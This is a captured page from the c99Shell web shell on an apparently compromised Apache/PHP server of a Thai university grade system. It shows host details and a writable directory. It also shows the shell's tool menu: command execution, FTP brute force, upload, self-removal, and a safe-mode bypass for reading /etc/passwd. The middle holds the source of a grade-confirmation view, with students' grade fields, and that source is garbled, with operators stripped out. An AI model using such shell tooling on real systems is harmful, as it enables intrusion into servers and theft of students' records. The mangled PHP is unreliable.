!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showAfterSendGrade.php (5.86 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><div align="center">
            <?php echo form_open($this->config->item("rg_folder")."grade/processConfirmSendGrade", array("name" => "myform""id" => "myform"));?>
            <table width="100%" align="center" cellpadding="0" cellspacing="1" border="0">
                <tr>
                    <td align="center"><span class="h error">ยืนยันส่งเกรด</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table class="szone">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">รายวิชา</td>
                            <td><?php echo $qu_co->row()->crsCode.' '.$qu_co->row()->crsName;?>
                            <input type="hidden" name="coId" value="<?php echo $coId;?>">
                            <input type="hidden" name="clIdStr" value="<?php echo $clIdStr;?>"></td>
                            <td class="coltd_szone">กลุ่ม</td>
                            <td><?php echo ($view == 's') ? '-' $qu_co->row()->coSection;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">หน่วยกิต</td>
                            <td><?php echo $qu_co->row()->crsUnit;?></td>
                            <td class="coltd_szone">ภาค/ปีการศึกษา</td>
                            <td><?php echo $qu_co->row()->coTmId.'/'.$qu_co->row()->coAcY;?>
                            <input type="hidden" name="rdTmId" value="<?php echo $qu_co->row()->coTmId;?>">
                            <input type="hidden" name="rdAcY" value="<?php echo $qu_co->row()->coAcY;?>"></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">อาจารย์ผู้สอน</td>
                            <td colspan="3"><?php echo $qu_tt->row()->prsName;?></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table class="headCol">
                        <tr>
                            <th class="seqCol">ลำดับที่</th>
                            <th class="stdCodeCol">รหัสนักศึกษา</th>
                            <th>ชื่อ-นามสกุลนักศึกษา</th>
                            <th class="domAmtCol">เกรด</th>
                        </tr>
<?php
            $num_rows 
count($rs);
            
$i=0;
            if (
$num_rows) {
                foreach (
$rs as $key => $val) {
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td height="22" align="center"><font size="2" ><?php echo $key 1;?></font></td>
                            <td align="center"><font size="2"><?php echo $rs[$key]['qu_std']->row()->stdCode;?></font></td>
                            <td class="indent"><font size="2"><?php echo $rs[$key]['qu_std']->row()->prefixName.$rs[$key]['qu_std']->row()->stdName.' '.$rs[$key]['qu_std']->row()->stdSurname;?></font></td>
                            <td align="center"><font size="2"><?php echo $rs[$key]['rdGrade'];?></font></td>
                        </tr>
<?php
                    $i
++;
                }
            } else {
?>
                        <tr>
                            <td align="center" colspan="4"><span class="error">** ไม่ปรากฏรายชื่อนักศึกษาที่ลงทะเบียนเรียน **</span></td>
                        </tr>
<?php
            
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td align="right" height="22"><font size="2" >รวม <?php echo $num_rows;?> รายการ</font></td>
                </tr>
                <tr>
                    <td>
<!--                     ต้องยืนยันผลแล้วถึงดู PDF ได้
                    <input type="button" name="print" value="พิมพ์หน้านี้" <?php echo ($disabled_btnPrint) ? 'disabled' "onClick=\"sendPost('hidform', {'coId':'".$coId."','clIdStr':'".$clIdStr."','view':'".$view."'}, '".site_url($this->config->item('rg_folder').'grade/printSendGradePDF')."', {})\"";?> /> -->
                    <!-- 23/1/2556 แก้ให้ พุทธบาท เห็น PDF ได้เลยเมื่อนำเข้า PDF 7/3/2556-->
                    <input type="button" name="print" value="พิมพ์ก่อนยืนยันส่งเกรด" <?php echo "onClick=\"sendPost('hidform', {'coId':'".$coId."','clIdStr':'".$clIdStr."','view':'".$view."'}, '".site_url($this->config->item('rg_folder').'grade/printSendGradePDF/1')."', {})\" " ;?> />
                    <input type="button" name="print" value="พิมพ์หน้านี้" <?php echo "onClick=\"sendPost('hidform', {'coId':'".$coId."','clIdStr':'".$clIdStr."','view':'".$view."'}, '".site_url($this->config->item('rg_folder').'grade/printSendGradePDF')."', {})\" " ;?> />
                    <input type="submit" name="confirm" value="ยืนยันส่งเกรด" onClick="return confirmSubmit('เมื่อท่านแน่ใจว่าไม่ต้องการแก้เกรดนักศึกษาแล้ว\nเมื่อท่านกดปุ่มบันทึกแล้วท่านจะไม่สามารถแก้เกรดได้อีก ?')" <?php echo ($disabled_btnConfirm) ? 'disabled' '';?>>
                    <!-- <input type="button" name="back" value="ย้อนกลับ" onClick="location.href = '<?php echo site_url().$this->config->item("rg_folder")."grade/".$tc."showCrsSendGrd";?>'"> -->
                    <input type="hidden" name="method" value="confirm"></td>
                </tr>
            </table><?php echo form_close();?></div>
        </fieldset><br></td>
    </tr>

    <tr>
        <td><table class="mark" border='0'>
            <tr>
                <td width="10%"><font size="2" color="<?php echo $font_color_err;?>"><b>สรุปผลเกรด :</b></font></td>
            </tr>
<?php
$k 
0;
if(isset(
$grd) && count($grd)) {
    foreach(
$grd as $keyGrd => $valGrd) {
        if((
$k%5)==0)
            echo 
'<tr>';
?>
                <td height="22" align="right"><font size="2" color="<?php echo $font_color_err;?>"><?php echo $valGrd['grade'];?></font></td>
                <td><font size="2" color="<?php echo $font_color_err;?>"><?php echo ': '.$valGrd['sum'].' คน';?></font></td>
<?php
        $k
++;
    }
}
?>
            </tr>
        </table></td>
    </tr>    
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0071 ]--